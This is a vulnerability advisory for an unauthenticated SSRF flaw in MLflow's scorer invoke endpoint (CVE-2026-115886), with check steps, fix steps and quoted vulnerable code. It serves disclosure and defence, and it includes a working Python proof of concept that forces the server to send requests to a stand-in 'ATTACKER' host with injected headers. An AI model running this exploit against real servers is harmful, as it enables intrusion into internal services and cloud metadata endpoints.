---
id: "CVE-2026-115886"
kind: "vulnerability"
aliases: ["CVE-2026-115886", "GHSA-2wqp-q3c6-ccj5"]
title: "MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints"
severity: "medium"
cvss: 6.5
epss: 0.00443
exploited: false
status: "open"
category: "package"
products: [{"name": "mlflow", "fixed": ["3.17.0"], "affected": ">= 3.12.0rc0, < 3.17.0", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cloud", "cwe-470", "cwe-918", "mlflow", "package", "python", "self-hosted"]
not_affected_if: ["auth-required", "default-config"]
published_at: "2026-10-23T22:07:26+00:00"
first_seen_at: "2026-10-23T22:15:56+00:00"
updated_at: "2026-10-25T12:38:49+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-2wqp-q3c6-ccj5", "first_seen_at": "2026-10-23T22:15:56+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-115886", "first_seen_at": "2026-10-23T23:44:51+00:00"}, {"source": "epss", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-115886", "first_seen_at": "2026-10-25T12:38:49+00:00"}]
---

# MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints

MLflow's unauthenticated scorer invoke endpoint builds attacker-named classes from JSON and forwards attacker kwargs to an outbound LLM client when the optional trulens packages are installed. An attacker can force the tracking server to send HTTP requests with attacker-chosen headers to internal or external hosts, including cloud metadata endpoints.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:mlflow affected >= 3.12.0rc0, < 3.17.0 fixed 3.17.0

## How to check

- Run `pip show mlflow` and check whether the version is at least `3.12.0rc0` and below `3.17.0`.
- Run `pip show trulens trulens-providers-litellm` and check whether either package is installed in the MLflow server environment.
- Check whether the tracking server is reachable without authentication, for example by confirming there is no auth layer in front of port 5000.

## Fix

- Upgrade MLflow to `3.17.0` or later.
- If upgrading is not possible, uninstall `trulens` and `trulens-providers-litellm` from the server environment.
- Put the tracking server behind authentication so the scorer endpoint is not open to anonymous callers.

## Timeline

- 2026-10-23T22:15:56+00:00 ghsa https://github.com/advisories/GHSA-2wqp-q3c6-ccj5
- 2026-10-23T23:44:51+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-115886
- 2026-10-25T12:38:49+00:00 epss https://api.first.org/data/v1/epss?cve=CVE-2026-115886

## From the sources

### Summary
MLflow's tracking server exposes `POST /ajax-api/3.0/mlflow/scorer/invoke` with **no authentication**, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional `trulens` + `trulens-providers-litellm` packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).

### Details
`Scorer.model_validate_json()` reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in `mlflow/genai/scorers/base.py:549-604`:

```python
data = serialized.third_party_scorer_data          # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
           for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
    raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None)   # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {})  # kwargs NOT constrained
...
init_kwargs["model"] = data["model"]               # attacker model URI
scorer_instance = scorer_class(**init_kwargs)      # reflective instantiation
```

The allowlist (`mlflow/genai/scorers/scorer_utils.py:46-51`) only gates the import path:

```python
THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
    "mlflow.genai.scorers.ragas",
    "mlflow.genai.scorers.deepeval",
    "mlflow.genai.scorers.trulens",
    "mlflow.genai.scorers.phoenix",
})
```

For a `mlflow.genai.scorers.trulens` class, the forwarded `model`/`kwargs` reach an outbound LLM client through a routing choice the attacker controls (`mlflow/genai/scorers/trulens/models.py:97-121`):

```python
backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
    return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
    return _create_gateway_provider(backend, **kwargs)
try:
    from trulens.providers.litellm import LiteLLM
    litellm_model = backend.model_name
    ...
    return LiteLLM(model_engine=litellm_model, **kwargs)   # raw attacker kwargs forwarded
```

Only the `litellm` fallback branch reaches raw `**kwargs`; a `model` URI outside MLflow's native provider registry (e.g. `openai:/gpt-4o`) trivially routes there, and `LiteLLM.__init__` forwards `api_base`/`api_key` straight into `litellm.completion()`.

- Route: `POST /ajax-api/3.0/mlflow/scorer/invoke` → `_invoke_scorer_handler` (`mlflow/server/handlers.py:7026-7098`), guarded only by `@catch_mlflow_exception`/`@_disable_if_artifacts_only` — no auth decorator.
- `Scorer.model_validate_json(serialized_scorer)` (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or `submit_job` call.
- Precondition: the server venv must have `trulens` + `trulens-providers-litellm` installed (a documented but optional, not-bundled GenAI-eval setup).

### PoC
```python
import time
import mlflow
from mlflow import MlflowClient
import requests

TARGET = "http://TARGET:5000"           # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect"    # host the attacker controls and monitors

client = MlflowClient(tracking_uri=TARGET)

# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
    span.set_inputs({"q": "hi"})
    span.set_outputs({"a": "hi"})
trace_id = span.request_id

# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
#    outbound LLM client at the attacker host with an attacker-chosen
#    Authorization value (their own canary, not a server secret).
serialized_scorer = {
    "name": "poc",
    "third_party_scorer_data": {
        "module": "mlflow.genai.scorers.trulens",
        "class": "Coherence",
        "metric_name": "Coherence",
        "model": "openai:/gpt-4o",          # routes to the litellm fallback
        "kwargs": {
            "api_base": ATTACKER,
            "api_key": "ATTACKER-CANARY",   # attacker's own value, not a server secret
        },
    },
}
resp = requests.post(
    f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke",
    json={
        "experiment_id": exp_id,
        "serialized_scorer": __import__("json").dumps(serialized_scorer),
        "trace_ids": [trace_id],
    },
)
print(resp.status_code, resp.text)
time.sleep(5)  # scorer job runs asynchronously
```

```
# Attacker-controlled listener at ATTACKER receives, moments later:
POST /collect/chat/completions HTTP/1.1
Authorization: Bearer ATTACKER-CANARY
Content-Type: application/json
...
```

The `POST .../chat/completions` request landing on `ATTACKER`, carrying the attacker's own `Authorization` header, is the server-originated outbound request — no request was ever sent by the client to that host directly.

### Impact
An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional `trulens` + `trulens-providers-litellm` packages installed alongside MLflow.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
